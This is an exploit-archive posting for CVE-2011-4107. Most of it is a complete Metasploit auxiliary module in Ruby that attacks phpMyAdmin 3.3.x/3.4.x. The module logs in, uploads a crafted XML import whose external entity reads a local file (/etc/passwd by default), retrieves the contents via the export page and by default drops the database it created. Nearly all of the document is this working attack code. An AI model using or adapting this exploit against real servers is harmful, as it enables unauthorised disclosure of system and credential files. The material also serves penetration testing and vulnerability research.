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phpMyAdmin 3.3.x / 3.4.x Local File Inclusion Via XXE Injection

phpMyAdmin 3.3.x / 3.4.x Local File Inclusion Via XXE Injection
Posted Jan 16, 2012
Authored by Marco Batista | Site metasploit.com

phpMyAdmin versions 3.3.x and 3.4.x suffer from a local file inclusion vulnerability via XXE injection. The attacker must be logged in to MySQL via phpMyAdmin.

tags | exploit, local, file inclusion, xxe
advisories | CVE-2011-4107, OSVDB-76798
MD5 | 198f2026738e167cc75de357988ac971

phpMyAdmin 3.3.x / 3.4.x Local File Inclusion Via XXE Injection

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# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
# Date: 12-01-2012
# Author: Marco Batista
# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
# CVE : CVE-2011-4107

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize
super(
'Name' => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
'Version' => '1.0',
'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
The attacker must be logged in to MySQL via phpMyAdmin.
Works on Windows and Linux Versions 3.3.X and 3.4.X},
'References' =>
[
[ 'CVE', '2011-4107' ],
[ 'OSVDB', '76798' ],
[ 'BID', '50497' ],
[ 'URL', 'http://secforce.com/research/'],
],
'Author' => [ 'Marco Batista' ],
'License' => MSF_LICENSE
)

register_options(
[
Opt::RPORT(80),
OptString.new('FILE', [ true, "File to read", '/etc/passwd']),
OptString.new('USER', [ true, "Username", 'root']),
OptString.new('PASS', [ false, "Password", 'password']),
OptString.new('DB', [ true, "Database to use/create", 'hddaccess']),
OptString.new('TBL', [ true, "Table to use/create and read the file to", 'files']),
OptString.new('APP', [ true, "Location for phpMyAdmin URL", '/phpmyadmin']),
OptString.new('DROP', [ true, "Drop database after reading file?", 'true']),
],self.class)
end

def loginprocess
# HTTP GET TO GET SESSION VALUES
getresponse = send_request_cgi({
'uri' => datastore['APP']+'/index.php',
'method' => 'GET',
'version' => '1.1',
}, 25)

if (getresponse.nil?)
print_error("no response for #{ip}:#{rport}")
elsif (getresponse.code == 200)
print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
print_status("Received 302 to #{getresponse.headers['Location']}")
else
print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
end

valuesget = getresponse.headers["Set-Cookie"]
varsget = valuesget.split(" ")

#GETTING THE VARIABLES NEEDED
phpMyAdmin = varsget.grep(/phpMyAdmin/).last
pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
# END HTTP GET

# LOGIN POST REQUEST TO GET COOKIE VALUE
postresponse = send_request_cgi({
'uri' => datastore['APP']+'/index.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
},
'data' => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
}, 25)

if (postresponse["Location"].nil?)
print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last
else
tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
end


valuespost = postresponse.headers["Set-Cookie"]
varspost = valuespost.split(" ")

#GETTING THE VARIABLES NEEDED
pmaUser = varspost.grep(/pmaUser-1/).last
pmaPass = varspost.grep(/pmaPass-1/).last

return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
# END OF LOGIN POST REQUEST
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
print_error(e.message)
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
print_error(e.message)
end

def readfile(cookie,tokenvalue)
#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
getfiles = send_request_cgi({
'uri' => datastore['APP']+'/export.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
'data' => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
}, 25)

if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
print_error("Error reading the file... not enough privilege? login error?")
else
print_status("#{getfiles.body}")
end
end


def dropdatabase(cookie,tokenvalue)
dropdb = send_request_cgi({
'uri' => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
'method' => 'GET',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
}, 25)

print_status("Dropping database: "+datastore['DB'])
end

def run
cookie,tokenvalue = loginprocess()

print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")

craftedXML = "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
craftedXML << tokenvalue+"\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
craftedXML << "server\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
craftedXML << "Content-Type: text/xml\n\n"
craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
craftedXML << "<!DOCTYPE ficheiro [ \n"
craftedXML << " <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
craftedXML << " <pma:structure_schemas>\n"
craftedXML << " <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
craftedXML << " <pma:table name=\""+datastore['TBL']+"\">\n"
craftedXML << " CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
craftedXML << " </pma:table>\n"
craftedXML << " </pma:database>\n"
craftedXML << " </pma:structure_schemas>\n"
craftedXML << " <database name=\""+datastore['DB']+"\">\n"
craftedXML << " <table name=\""+datastore['TBL']+"\">\n"
craftedXML << " <column name=\"file\">&conteudo;</column>\n"
craftedXML << " </table>\n"
craftedXML << " </database>\n"
craftedXML << "</pma_xml_export>\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
craftedXML << "xml\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
craftedXML << ",\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T--"


print_status("Grabbing that #{datastore['FILE']} you want...")
res = send_request_cgi({
'uri' => datastore['APP']+'/import.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
'Cookie' => cookie
},
'data' => craftedXML
}, 25)

readfile(cookie,tokenvalue)

if (datastore['DROP'] == "true")
dropdatabase(cookie,tokenvalue)
else
print_status("Database was not dropped: "+datastore['DB'])
end

end
end

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